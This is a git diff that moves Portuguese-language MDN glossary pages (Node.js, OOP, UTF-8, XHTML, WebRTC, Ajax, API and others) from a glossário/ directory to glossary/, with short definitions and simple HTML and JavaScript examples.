diff --git a/files/pt-pt/glossary/node.js/index.html b/files/pt-pt/glossary/node.js/index.html new file mode 100644 index 0000000000..156c3e365a --- /dev/null +++ b/files/pt-pt/glossary/node.js/index.html @@ -0,0 +1,110 @@ +--- +title: Node.js +slug: Glossário/Node.js +tags: + - Glossário + - Infraestrutura + - JavaScript + - node.js +translation_of: Glossary/Node.js +--- +

Node.js é um ambiente de execução multiplataforma em {{Glossary("JavaScript")}} que permite aos programadores criarem aplicações de rede e 'lado do servidor' com JavaScript.

+ +

Saber mais

+ +

Conhecimentos Gerais

+ + + +

Informação técnica

+ + + +
+ + + + + +
diff --git a/files/pt-pt/glossary/object/index.html b/files/pt-pt/glossary/object/index.html new file mode 100644 index 0000000000..c22e16f168 --- /dev/null +++ b/files/pt-pt/glossary/object/index.html @@ -0,0 +1,22 @@ +--- +title: Objeto +slug: Glossário/Objeto +tags: + - Glossary + - Glossário + - Introdução + - Objeto + - Programação Scripting +translation_of: Glossary/Object +--- +

Objeto refere-se a uma estrutura de dados contendo dados e instruções para trabalhar com os dados. Os objetos às vezes referem-se a coisas do mundo real, por exemplo, um carro ou objeto de mapa num jogo de carros. {{glossary("JavaScript")}}, Java, C++, Python, e Ruby são exemplos de linguagens em {{glossary("OOP","programação orientada em objeto")}}.

+ +

Saber mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/object_reference/index.html b/files/pt-pt/glossary/object_reference/index.html new file mode 100644 index 0000000000..1be540d26f --- /dev/null +++ b/files/pt-pt/glossary/object_reference/index.html @@ -0,0 +1,20 @@ +--- +title: Referência de objeto +slug: Glossário/Referencia_de_objeto +tags: + - CodingScripting + - Glossary + - Glossário +translation_of: Glossary/Object_reference +--- +

Uma ligação para um {{glossary("object","objeto")}}. Referências de objeto podem ser utilziadas como objetos interligados.

+ +

O conceito de referências de objeto fica claro quando atribuir o mesmo objeto a mais de uma {{glossary("property","propriedade")}}. Em vez de manter uma cópia do objeto, cada propriedade atribuída contém referências de objeto que se vinculam ao mesmo objeto, de modo que, quando o objeto altera todas as propriedades referentes ao objeto, refletem a alteração.

+ +

Saber mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/oop/index.html b/files/pt-pt/glossary/oop/index.html new file mode 100644 index 0000000000..c37e75122c --- /dev/null +++ b/files/pt-pt/glossary/oop/index.html @@ -0,0 +1,21 @@ +--- +title: OOP +slug: Glossário/OOP +tags: + - Glossário + - Principiante + - Programação Scripting +translation_of: Glossary/OOP +--- +

OOP (Programação Orientada em Objeto) é uma abordagem na programação em que os dados são encapsulados dentro de {{glossary("object","objetos")}} e onde o próprio objeto é operado, em vez de suas partes componentes.

+ +

{{glossary("JavaScript")}} é totalmente orientado em objeto. Este segue um modelo baseado em protótipo (em oposição ao baseado em classe).

+ +

Saber mais

+ +

Conhecimento Gera

+ + diff --git a/files/pt-pt/glossary/ota/index.html b/files/pt-pt/glossary/ota/index.html new file mode 100644 index 0000000000..ec1f107800 --- /dev/null +++ b/files/pt-pt/glossary/ota/index.html @@ -0,0 +1,21 @@ +--- +title: OTA +slug: Glossário/OTA +tags: + - Glossário + - Infraestrutura + - OTA + - Wireless + - updates +translation_of: Glossary/OTA +--- +

Over-The-Air (OTA ou "Pelo-Ar") refere-se à atualização automática de programas de dispositivos conectados a partir de um servidor central. Todos os proprietários de dispositivos ao receber um determinado conjunto de atualizações estão sob o mesmo "canal"; e cada dispositivo pode amiúde acessar vários canais (e.g. para "builds" de produção ou engenharia).

+ +

Aprenda mais

+ +

Conhecimentos Gerais

+ + diff --git a/files/pt-pt/glossary/polyfill/index.html b/files/pt-pt/glossary/polyfill/index.html new file mode 100644 index 0000000000..f0261120c0 --- /dev/null +++ b/files/pt-pt/glossary/polyfill/index.html @@ -0,0 +1,16 @@ +--- +title: Polyfill +slug: Glossário/Polyfill +translation_of: Glossary/Polyfill +--- +

Um polyfill é um pedaço de código (geralmente JavaScript) usado para fornecer funcionalidades modernas em browsers mais antigos que não o suportam nativamente.

+ +

Por exemplo, um polyfill pode ser usado para simular a funcionalidade de um elemento HTML Canvas no Microsoft Internet Explorer 7, usando o plugin Silverlight, ou simular o suporte para unidades rem em CSS, ou {{cssxref("text-shadow")}}, ou qualquer outra coisa que você queira.

+ +

Saber mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/prototype-based_programming/index.html b/files/pt-pt/glossary/prototype-based_programming/index.html new file mode 100644 index 0000000000..8f64f4e216 --- /dev/null +++ b/files/pt-pt/glossary/prototype-based_programming/index.html @@ -0,0 +1,17 @@ +--- +title: Programação baseada em protótipo +slug: Glossário/Prototype-based_programming +tags: + - Glossário + - Programação Scripting +translation_of: Glossary/Prototype-based_programming +--- +

A programação baseada em protótipo é um estilo de {{Glossary("OOP", " programação orientada em objeto")}} em que as {{Glossary('Class', 'classes')}} não são explicitamente definidas, mas sim derivadas adicionando as propriedades e os métodos a uma instância de outra classe ou, com menos freqüência, adicione-os a um objeto vazio.

+ +

Em palavras simples, esse tipo de estilo permite criar um {{Glossary ('Object', 'objeto')}}. sem definir a sua {{Glossary('Class', 'classe')}} .

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/scm/index.html b/files/pt-pt/glossary/scm/index.html new file mode 100644 index 0000000000..abed4317c5 --- /dev/null +++ b/files/pt-pt/glossary/scm/index.html @@ -0,0 +1,21 @@ +--- +title: GCS +slug: Glossário/GCS +tags: + - CodingScripting + - GCS + - Glossário + - SCM +translation_of: Glossary/SCM +--- +

O GCS (Gestão de Controlo de Software ou Source Control Management) é um sistema de gestão do código fonte. Normalmente refere-se à utilização de software para o controlo de versões. Um programador pode modificar arquivos de código fonte sem ter medo de editar coisas úteis, porque um GCS mantém um registo de como o código fonte muda e quem faz as alterações.

+ +

Sistemas de gerência de configuração de software incluí CVS, SVN, {{glossary("GIT")}}.

+ +

Saiba mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/server/index.html b/files/pt-pt/glossary/server/index.html new file mode 100644 index 0000000000..f1e161b3ee --- /dev/null +++ b/files/pt-pt/glossary/server/index.html @@ -0,0 +1,25 @@ +--- +title: Servidor +slug: Glossário/Servidor +tags: + - Glossário + - Infraestrutura + - Protocolo + - Rede + - Servidor +translation_of: Glossary/Server +--- +

Um servidor hardware é um computador compartilhado em uma rede que provê serviços a clientes. Um servidor software é um programa que provê serviços a programas clientes.

+ +

Os serviços são providos normalmente pela rede local ou por redes remotas. Programas cliente e servidor tradicionalmente se conectam a enviar mensagens por meio de um {{glossary("protocolo")}}.

+ +

Os servidores mais comuns numa rede local são os de ficheiros, nomes, emails, impressoras e fax. Outro exemplo comum de servidor é o de páginas da web conectado à Internet. Os minicomputadores, mainframes e super computadores nas centrais de dados também são servidores.

+ +

Aprenda mais

+ +

Conhecimentos Gerais

+ + diff --git a/files/pt-pt/glossary/signature/index.html b/files/pt-pt/glossary/signature/index.html new file mode 100644 index 0000000000..c09761e84d --- /dev/null +++ b/files/pt-pt/glossary/signature/index.html @@ -0,0 +1,96 @@ +--- +title: Assinatura +slug: Glossário/Assinatura +tags: + - Desambiguação + - Glossário +translation_of: Glossary/Signature +--- +

O termo assinatura pode ter vários significados dependendo do contexto. Este pode referir-se a:

+ +

{{GlossaryDisambiguation}}

+ +

Saber mais

+ + + +
+ + + + + +
diff --git a/files/pt-pt/glossary/tag/index.html b/files/pt-pt/glossary/tag/index.html new file mode 100644 index 0000000000..825a294e51 --- /dev/null +++ b/files/pt-pt/glossary/tag/index.html @@ -0,0 +1,25 @@ +--- +title: Tag +slug: Glossário/Etiqueta +translation_of: Glossary/Tag +--- +

Em {{Glossary("HTML")}} é utilizada uma tag para criar um {{Glossary("element","elemento")}}.  O name de um elemento de HTML é o name utilizado em parêntese angular, tal como <p> para parágrafo. Note que a etiqueta de fim name é precedida pelo caráter "barra oblíqua", "</p>", e nos elementos vazios a etiqueta de fim não é necessária, nem permitida. Se os atributos não forem mencionados, são utilizados os valores predefinidos, em cada caso. 

+ +

Saber mais

+ +

Conhecimento Geral

+ + + +

Referência técnica

+ + + +

 

+ +

 

diff --git a/files/pt-pt/glossary/utf-8/index.html b/files/pt-pt/glossary/utf-8/index.html new file mode 100644 index 0000000000..2541862ba3 --- /dev/null +++ b/files/pt-pt/glossary/utf-8/index.html @@ -0,0 +1,23 @@ +--- +title: UTF-8 +slug: Glossário/UTF-8 +tags: + - CodingScripting + - Glossário + - HTML + - JavaScript + - Utf-8 +translation_of: Glossary/UTF-8 +--- +

UTF-8 (UCS Transformation Format 8) é o {{Glossary("Character encoding", "caráter de codificação")}} mais comum da World Wide Web. Cada caráter é representado por um até quatro bytes. UTF-8 é compatível com versões anteriores de {{Glossary("ASCII")}} e pode representar qualquer caráter Unicode padrão.

+ +

Os 128 primeiros carateres UTF-8 correspondem precisamente com os 128 primeiros carateres ASCII (numerado 0-127), o que significa que o texto ASCII existente já é um UTF-8 válido. Todos os outros carateres utilizam dois até quatro bytes. Cada byte tem alguns bits reservados para efeitos de codificação. Porque os carateres não ASCII requerem mais do que um byte para armazenamento, eles correm o risco de ficarem corruptos se os bytes são separados e não recombinados..

+ +

Saiba mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/value/index.html b/files/pt-pt/glossary/value/index.html new file mode 100644 index 0000000000..169f9a0f67 --- /dev/null +++ b/files/pt-pt/glossary/value/index.html @@ -0,0 +1,20 @@ +--- +title: Valor +slug: Glossário/Valor +tags: + - CodingScripting + - Glossary + - Glossário + - NeedsContent + - Precisa de Conteúdo +translation_of: Glossary/Value +--- +

No contexto de dados ou um objeto {{Glossary("Wrapper", "wrapper")}} em torno desses dados, o valor é o {{Glossary("Primitive","valor primitivo")}} que o objeto wrapper contém. No contexto de uma {{Glossary("Variable","variável")}} ou {{Glossary("Property","propriedade")}}, o valor pode ser um primitivo ou uma {{Glossary("Object reference","referência de objeto")}}.

+ +

Saber mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/viewport/index.html b/files/pt-pt/glossary/viewport/index.html new file mode 100644 index 0000000000..98daacebe0 --- /dev/null +++ b/files/pt-pt/glossary/viewport/index.html @@ -0,0 +1,26 @@ +--- +title: Viewport +slug: Glossário/Viewport +tags: + - CodingScripting + - Glossário + - Layout + - viewport +translation_of: Glossary/Viewport +--- +

Um viewport representa uma área poligonal (normalmente rectangular) na computação gráfica que pode ser visualizada. Em termos de navegador web, refere-se à area do documento que que é possível visualizar.

+ +

A parte da viewport que está actualmente visível chama-se {{glossary("visual viewport", "viewport visual")}}. Esta pode ser menor do que a viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport continua a ser o mesmo, mas o viewport visual tornou-se mais pequeno.

+ +

Saiba Mais

+ +

Conhecimento Geral

+ + + + diff --git a/files/pt-pt/glossary/visual_viewport/index.html b/files/pt-pt/glossary/visual_viewport/index.html new file mode 100644 index 0000000000..3bd82858fb --- /dev/null +++ b/files/pt-pt/glossary/visual_viewport/index.html @@ -0,0 +1,22 @@ +--- +title: Viewport Visual +slug: Glossário/Viewport_Visual +tags: + - Glossário + - VisualViewport + - viewport + - viewport visual +translation_of: Glossary/Visual_Viewport +--- +

A parte do {{Glossary("viewport")}} que é actualmente visível chama-se o "viewport visual". Este pode ser menor que o viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport visual é a parte visível de um ecrã, excluindo teclados no ecrã, áreas fora de uma área do zoom localizado, ou qualquer outro artefacto no ecrã cuja escala seja independente das dimensões de uma página.

+ +

Saiba Mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/webextensions/index.html b/files/pt-pt/glossary/webextensions/index.html new file mode 100644 index 0000000000..a86c3706b6 --- /dev/null +++ b/files/pt-pt/glossary/webextensions/index.html @@ -0,0 +1,19 @@ +--- +title: Extensões da Web +slug: Glossário/Extensoes_da_Web +tags: + - CodingScripting + - Extensões da Web + - Glossário + - Precisa de Conteúdo +translation_of: Glossary/WebExtensions +--- +

'Extensões da Web' é um sistema cruzado de navegador para o desenvolvimento de extensões de navegador no Firefox. Este sistema fornece APIs, que em grande parte são suportadas em diferentes navegadores , tais como o Google Chrome, Microsoft Edge, Mozilla Firefox e Opera Browser.

+ +

Saiba mais

+ +

referência técnica

+ + diff --git a/files/pt-pt/glossary/webrtc/index.html b/files/pt-pt/glossary/webrtc/index.html new file mode 100644 index 0000000000..452b4f3f24 --- /dev/null +++ b/files/pt-pt/glossary/webrtc/index.html @@ -0,0 +1,32 @@ +--- +title: WebRTC +slug: Glossário/WebRTC +tags: + - Glossário + - Infraestrutura + - JavaScript + - P2P + - VoIP + - WebRTC +translation_of: Glossary/WebRTC +--- +

WebRTC (Comunicações da Web em Tempo Real) é uma {{Glossary("API")}} que pode ser utilizada por aplicativos de videoconferência, chamadas de voz, e P2P.

+ +

O WebRTC consiste principalmente destas partes:

+ +
+
{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}
+
Concede acesso à câmera e / ou microfone de um dispositivo, e pode conectar os seus sinais a uma conexão RTC.
+
{{domxref("RTCPeerConnection")}}
+
Uma interface para configurar videoconferências ou chamadas de voz.
+
{{domxref("RTCDataChannel")}}
+
Fornece um método para estabelecer uma conexão {{Glossary("P2P")}} entre navegadores web.
+
+ +

Veja também

+ + diff --git a/files/pt-pt/glossary/webvtt/index.html b/files/pt-pt/glossary/webvtt/index.html new file mode 100644 index 0000000000..774a41a3fc --- /dev/null +++ b/files/pt-pt/glossary/webvtt/index.html @@ -0,0 +1,30 @@ +--- +title: WebVTT +slug: Glossário/WebVTT +tags: + - Audio + - CodingScripting + - Glossário + - Video + - Web + - WebVTT +translation_of: Glossary/WebVTT +--- +

WebVTT (Web Video Text Tracks) (em português Faixas de Texto de Vídeo da Web) é uma especificação {{Glossary("W3C")}} para um formato de ficheiro que marca os recursos da faixa de texto em combinação com o elemento HTML {{HTMLElement("track")}}.

+ +

Os ficheiros WebVTT fornecem metadados síncronos com conteúdos os de áudio ou vídeo, como legendas, descrições de vídeo em texto, capítulos para navegação no conteúdo, e mais.

+ +

Saiba mais

+ +

Conhecimento Geral

+ + + +

Referência técnica

+ + diff --git a/files/pt-pt/glossary/whatwg/index.html b/files/pt-pt/glossary/whatwg/index.html new file mode 100644 index 0000000000..9de7c80ab8 --- /dev/null +++ b/files/pt-pt/glossary/whatwg/index.html @@ -0,0 +1,24 @@ +--- +title: WHATWG +slug: Glossário/WHATWG +tags: + - Communidade + - DOM + - Glossário + - HTML + - HTML5 + - WHATWG + - Web + - standards +translation_of: Glossary/WHATWG +--- +

O WHATWG (Web Hypertext Application Technology Working Group) é uma comunidade que mantém e desenvolve padrões web, incluindo {{Glossary("DOM")}}, Fetch, e {{Glossary("HTML")}}. Funcionários da Apple, Mozilla, e Opera estabeleceram o WHATWG em 2004.

+ +

Saiba mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/world_wide_web/index.html b/files/pt-pt/glossary/world_wide_web/index.html new file mode 100644 index 0000000000..ee86b296c5 --- /dev/null +++ b/files/pt-pt/glossary/world_wide_web/index.html @@ -0,0 +1,42 @@ +--- +title: World Wide Web +slug: Glossário/World_Wide_Web +tags: + - Glossário + - Infraestrutura + - Rede Mundial + - WWW + - World Wide Web +translation_of: Glossary/World_Wide_Web +--- +

A World Wide Web (Rede Mundial) — comumente conhecido como WWW, W3 ou Web - é um sistema interligado de páginas da Web públicas acessíveis através da {{Glossary('Internet')}}. A Web não é o mesmo que Internet: a Web é uma das muitas aplicações criadas no topo da Internet.

+ +

Tim Berners-Lee propôs a arquitetura do que se tornou conhecido como World Wide Web. Ele criou a primeira Web {{Glossary("Server","servidor")}}, {{Glossary("Browser","navegador")}} da Web, e página da Web no próprio computador no laboratório de investigação de física CERN, em 1990. Em 1991, ele anúnciou a sua criação no fórum de discussão alt.hypertext, marcando o momento em que a Web foi tornada pública pela primeira vez.

+ +

O sistema que nós conhecemos hoje como 'a Web' consiste em vários componentes:

+ + + +

Interligar, ou ligar recursos através de {{Glossary("Hyperlink","hiperligações")}}, é um conceito de definição da Web, ajudando a sua identidade como uma coleção de documentos ligados.

+ +

Logo depois de inventar a Web, Tim Berners-Lee fundou a {{Glossary("W3C")}} (World Wide Web Consortium) para uniformizar e desenvolver a Web ainda mais. Este consórcio consiste em grupos de interesse da Web essenciais, tais como responsáveis pelo desenvolvimento de navegadores da Web, entidades governamentais, investigadores, e universidades. A sua missão inclui educação e divulgação.

+ +

Saiba mais

+ +

Saiba mais sobre a mesma

+ + + +

General knowledge

+ + diff --git a/files/pt-pt/glossary/wrapper/index.html b/files/pt-pt/glossary/wrapper/index.html new file mode 100644 index 0000000000..534568d817 --- /dev/null +++ b/files/pt-pt/glossary/wrapper/index.html @@ -0,0 +1,32 @@ +--- +title: Wrapper +slug: Glossário/Wrapper +tags: + - CodingScripting + - Glossary + - Glossário + - Wrapper +translation_of: Glossary/Wrapper +--- +

Em linguagem de programação, tal como JavaScript, um wrapper é uma função destinada a chamar uma ou mais outras funções, às vezes apenas por conveniência, e às vezes adaptando-as para executar uma tarefa ligeiramente diferente no processo.

+ +

Por exemplo, bibliotecas SDK para AWS são exemplos de wrappers.

+ +

Saber mais

+ +

Conhecimentto geral

+ +

{{Interwiki("wikipedia", "Wrapper function")}} na Wikipédia (inglês)

+ + diff --git a/files/pt-pt/glossary/xhtml/index.html b/files/pt-pt/glossary/xhtml/index.html new file mode 100644 index 0000000000..26022cfd3a --- /dev/null +++ b/files/pt-pt/glossary/xhtml/index.html @@ -0,0 +1,169 @@ +--- +title: XHTML +slug: XHTML +tags: + - CodingScripting + - Glossário + - XHTML +translation_of: Glossary/XHTML +--- +

HTML pode viajar através da rede para um navegador quer em sintaxe de HTML ou uma sintaxe chamada de XML.

+ +

HTML5 e HTML/XHTML

+ +

O padrão de HTML5 define ambas as sintaxes. O tipo MIME (enviado no cabeçalho Content-Type de HTTP) indica a escolha da sintaxe: para XHTML o tipo MIME irá ser application/xhtml+xml, de outro modo  text/html.

+ +

Este exemplo mostra um documento HTML e um documento XHTML incluindo os cabeçalhos de HTTP apropriados:

+ +

Documento HTML

+ +
HTTP/1.1 200 OK
+Content-Type: text/html
+
+<!DOCTYPE html>
+<html lang=en>
+  <head>
+    <meta charset=utf-8>
+    <title>HTML</title>
+  </head>
+  <body>
+    <p>I am a HTML document</p>
+  </body>
+</html>
+
+ +

Documento XHTML

+ +
HTTP/1.1 200 OK
+Content-Type: application/xhtml+xml
+
+<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <title>XHTML</title>
+  </head>
+  <body>
+    <p>I am a XHTML document</p>
+  </body>
+</html>
+
+ +

Tipo MIME versus DOCTYPE

+ +

Before HTML5, the two separate specifications defined the two syntaxes (HTML 4.01 and XHTML 1.0). According to the XHTML1 standard, you could use XHTML by declaring a special DOCTYPE. However, no browsers have ever implemented this, and the HTML5 standard has reversed the decision. If your page is sent as text/html, you are not using XHTML.

+ +

Instead, the proper MIME type must be present in the Content-Type HTTP header. If you only put the MIME type into an HTML meta tag like <meta http-equiv=…>, it will be ignored and treated like text/html.

+ +

If you serve your pages as text/html and believe that you are writing XHTML, you may face several problems, as described in these articles:

+ + + +

Suporte

+ +

Most browsers currently support XHTML, including Firefox, Chrome, Safari, Opera, and Internet Explorer (since IE 9). (Internet Explorer 8 and older browsers instead show a download dialog box for unknown file types when they see an XHTML document with the correct XHTML MIME type.)

+ +

Also be aware that many popular {{Glossary("JavaScript")}} libraries and developer tools have limited or no support for XHTML.

+ +

Diferençãs do HTML

+ +

See Properly Using CSS and JavaScript in XHTML Documents for a partial list of differences between HTML and XHTML.

+ +

Ferramentas

+ + + +

Consulte também

+ + + +

View All...

+ +
+ + + + + +
diff --git a/files/pt-pt/glossary/xml/index.html b/files/pt-pt/glossary/xml/index.html new file mode 100644 index 0000000000..7f196eb491 --- /dev/null +++ b/files/pt-pt/glossary/xml/index.html @@ -0,0 +1,18 @@ +--- +title: XML +slug: Glossário/XML +tags: + - Glossário + - XML + - 'l10n:priority' +translation_of: Glossary/XML +--- +

XML - Linguagem de Marcação Extensível, é uma linguagem de marcação genérica especificada pelo W3C. A indústria de tecnologia de informação (TI) utiliza muitas linguagens com base em XML, tal como as linguagens de descrição de dados.

+ +

As tags de XML assemelham-se com as etiquetas de HTML, mas XML é muito mais flexível porque esta deixa os utilizadores definir as suas próprias etiquetas. Deste modo, XML atua como uma linguagem meta—que é, esta pode ser utilizada para definir outras linguagens, tais como {{Glossary("RSS")}}. além disso, HTML é uma linguagem de apresentação, enquanto XML é uma linguagem de descrição de dados. Isto significa, que XML tem aplicações muito mais amplas do que apenas a Web. Por exemplo, os serviços da Web podem utilizar XML para trocar pedidos e respostas.

+ +

Saiba mais

+ + diff --git "a/files/pt-pt/gloss\303\241rio/404/index.html" "b/files/pt-pt/gloss\303\241rio/404/index.html" deleted file mode 100644 index f1e0f934dc..0000000000 --- "a/files/pt-pt/gloss\303\241rio/404/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: '404' -slug: Glossário/404 -tags: - - Erros HTTP - - Glossário - - Infraestrutura - - Navegação -translation_of: Glossary/404 ---- -

O 404 é um código de resposta padrão que significa que o {{Glossary("Server", "servidor")}} não consegue encontrar o recurso solicitado.

- -

Saiba mais

- - diff --git "a/files/pt-pt/gloss\303\241rio/502/index.html" "b/files/pt-pt/gloss\303\241rio/502/index.html" deleted file mode 100644 index 3c7750028c..0000000000 --- "a/files/pt-pt/gloss\303\241rio/502/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: '502' -slug: Glossário/502 -tags: - - '502' - - Bad Gateway - - Errors HTTP - - Glossário - - Infraestrutura - - Navegação -translation_of: Glossary/502 ---- -

Um erro {{Glossary("HTTP")}} significando "Bad Gateway".

- -

Um {{Glossary("Server", "servidor")}} pode agir como um gateway ou proxy (intermediário) entre um cliente (como o seu navegador da Web) e outro, servidor a montante. Quando  faz um pedido de acesso a uma {{Glossary("URL")}}, um servidor gateway pode transmitir o teu pedido ao servidor a montante. "502" significa que o servidor a montante devolveu uma resposta invalida.

- -

Tipicamente o servidor a montante não estará avariado (i.e. não devolve resposta ao  gateway / proxy), mas meramente não entende o protocolo de troca de dados da mesma forma que o servidor gateway / proxy. {{Glossary("Protocol", "Protocolos")}} da internet são bastante explícitos, e então um 502 deve ser sinal que um ou ambos os servidores estão incorretamente programados.

- -

Aprenda mais

- - diff --git "a/files/pt-pt/gloss\303\241rio/acessibilidade/index.html" "b/files/pt-pt/gloss\303\241rio/acessibilidade/index.html" deleted file mode 100644 index 6f8338d718..0000000000 --- "a/files/pt-pt/gloss\303\241rio/acessibilidade/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Acessibilidade -slug: Glossário/Acessibilidade -tags: - - Acessibilidade - - Glossário -translation_of: Glossary/Accessibility ---- -

A Acessibilidade da Web (A11Y)refere-se às melhores práticas para manter um site da Web utilizável, apesar das restrições físicas e técnicas. A acessibilidade da Web é formalmente definida e discutida no {{Glossary("W3C")}} através de {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).

- -

Saber mais

- -

Conhecimento geral

- - - -

Aprender sobre a acessibilidade da Web

- - - -

Referência técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/ajax/index.html" "b/files/pt-pt/gloss\303\241rio/ajax/index.html" deleted file mode 100644 index 3dde7c92c4..0000000000 --- "a/files/pt-pt/gloss\303\241rio/ajax/index.html" +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Ajax -slug: Glossário/AJAX -tags: - - AJAX - - CodingScripting - - Glossário - - 'I10n:priority' - - Infraestrutura -translation_of: Glossary/AJAX ---- -

Ajax, que inicialmente significava Asynchronous JavaScript And XML (em português {{Glossary("JavaScript")}} e {{Glossary("XML")}} Assíncrono), é uma prática de programação de construção de páginas web complexas e dinâmicas utilizando uma tecnologia conhecida como {{Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest")}}.

- -

Ajax permite actualizar partes do {{Glossary("DOM")}} de uma página {{Glossary("HTML")}} sem a necessidade de uma actualização completa da página. Ajax também lhe permite trabalhar de forma assíncrona, o que significa que o seu código continua a correr enquanto a parte alvo da sua página web está a tentar recarregar (em comparação a trabalhar de forma síncrona, que impede o código de executar até que essa parte da sua página seja recarregada).

- -

Com sites interactivos e padrões web modernos, o Ajax está gradualmente a ser substituído por funções dentro de frameworks JavaScript e do {{domxref("Fetch API")}} Standard oficial.

- - diff --git "a/files/pt-pt/gloss\303\241rio/api/index.html" "b/files/pt-pt/gloss\303\241rio/api/index.html" deleted file mode 100644 index cc99d2c980..0000000000 --- "a/files/pt-pt/gloss\303\241rio/api/index.html" +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: IPA -slug: Glossário/API -tags: - - Glossário - - IPA - - Infraestrutura -translation_of: Glossary/API ---- -

Uma IPA (Interface de Programação de Aplicação ou em inglês API) é um conjunto de funcionalidades e regras que existem dentro dum logiciário (a aplicação) que habilitam a interação entre o logiciário - em oposição a uma interface de utilizador humana. A IPA pode ser vista como um simples contrato (a interface) entre a aplicação que a oferece e os outros items, como os logiciários e equipamentos de terceiros.

- -

No desenvolvimento da Web, uma IPA é normalmente um conjunto de funcionalidades de código (e.g. {{glossary("method","métodos")}}, {{Glossary("property","propriedades")}}, eventos e {{Glossary("URL","URLs")}}) nas quais um desenvolvedor pode usar nas suas aplicações para interagir com os componentes do navegador dum utilizador, ou outros logiciários/equipamentos no computador do utilizador, ou sítios web e serviços de terceiros.

- -

Por exemplo:

- - - -

Saiba mais

- -

Conhecimento geral

- - - -

Referência técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/argumento/index.html" "b/files/pt-pt/gloss\303\241rio/argumento/index.html" deleted file mode 100644 index 0b2cecac78..0000000000 --- "a/files/pt-pt/gloss\303\241rio/argumento/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Argumento -slug: Glossário/Argumento -tags: - - CodingScripting - - Glossary - - Glossário - - JavaScript -translation_of: Glossary/Argument ---- -

Um argument é um {{glossary("value","valor")}} ({{Glossary("primitive","primitivo")}} ou {{Glossary("object","objeto")}}) passado como entrada para uma {{Glossary("function","função")}}.

- -

Saber mais

- -

Conhecimento geral

- - - -

Referência técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/aria/index.html" "b/files/pt-pt/gloss\303\241rio/aria/index.html" deleted file mode 100644 index 4dfa6a754d..0000000000 --- "a/files/pt-pt/gloss\303\241rio/aria/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: ARIA -slug: Glossário/ARIA -tags: - - Acessibilidade - - Glossário -translation_of: Glossary/ARIA ---- -

ARIA (Accessible Rich {{glossary("Internet")}} Applications) é uma especificação da {{Glossary("W3C")}} para adicionar semântica e outros metadados ao {{Glossary("HTML")}} para atender usuários de tecnologia assistiva.

- -

Por exemplo, você pode adicionar o atributo role="alert" ao {{glossary("tag")}} {{HTMLElement("p")}} para notificar um usário com dificuldades de visão que as informações são importantes e sensíveis ao tempo (que você pode transmitir através da cor do texto).

- -

Consulte também

- - diff --git "a/files/pt-pt/gloss\303\241rio/assinatura/index.html" "b/files/pt-pt/gloss\303\241rio/assinatura/index.html" deleted file mode 100644 index c09761e84d..0000000000 --- "a/files/pt-pt/gloss\303\241rio/assinatura/index.html" +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Assinatura -slug: Glossário/Assinatura -tags: - - Desambiguação - - Glossário -translation_of: Glossary/Signature ---- -

O termo assinatura pode ter vários significados dependendo do contexto. Este pode referir-se a:

- -

{{GlossaryDisambiguation}}

- -

Saber mais

- - - -
- - - - - -
diff --git "a/files/pt-pt/gloss\303\241rio/bigint/index.html" "b/files/pt-pt/gloss\303\241rio/bigint/index.html" deleted file mode 100644 index 44726be185..0000000000 --- "a/files/pt-pt/gloss\303\241rio/bigint/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: BigInt -slug: Glossário/BigInt -tags: - - BigInt - - Formato de Precisão Arbitrária - - Glossário - - JavaScript - - Referencia -translation_of: Glossary/BigInt ---- -

Em {{Glossary("JavaScript")}}, BigInt é um tipo de dados numéricos que pode representar inteiros num {{interwiki("wikipedia", "Bignum", "formato de precisão arbitrária")}}. Em outras linguagens de programação podem existir diferentes tipos de dados numéricos, por exemplo: Inteiros, Flutuadores, Duplos, ou Bignums.

diff --git "a/files/pt-pt/gloss\303\241rio/booliano/index.html" "b/files/pt-pt/gloss\303\241rio/booliano/index.html" deleted file mode 100644 index dc4c3bfc21..0000000000 --- "a/files/pt-pt/gloss\303\241rio/booliano/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Booliano -slug: Glossário/booliano -tags: - - Booleano - - Booliano - - Glossário - - JavaScript - - Linguagens de Programação - - Progração Scripting - - tipos de dados -translation_of: Glossary/Boolean ---- -

Na informática, um booliano é um tipo de dados lógico que pode ter apenas os valores verdadeiro ou falso. Por exemplo, em JavaScript, as condicionais de boolianos são frequentemente utilizadas ​​para decidir quais as secções de código a serem executadas (tal como em declarações if) ou repetir (tal como repetições for).

- -
/* JavaScript if statement */
-if (boolean conditional) {
-   // code to execute if the conditional is true
-}
-
-if (boolean conditional) {
-  console.log("boolean conditional resolved to true");
-} else {
-  console.log("boolean conditional resolved to false");
-}
-
-
-/* JavaScript for loop */
-for (control variable; boolean conditional; counter) {
-  // code to execute repeatedly if the conditional is true
-}
-
-for (var i=0; i < 4; i++) {
-  console.log("I print only when the boolean conditional is true");
-}
-
- -

Saiba mais

- -

Conhecimento geral

- - - -

Referência técnica

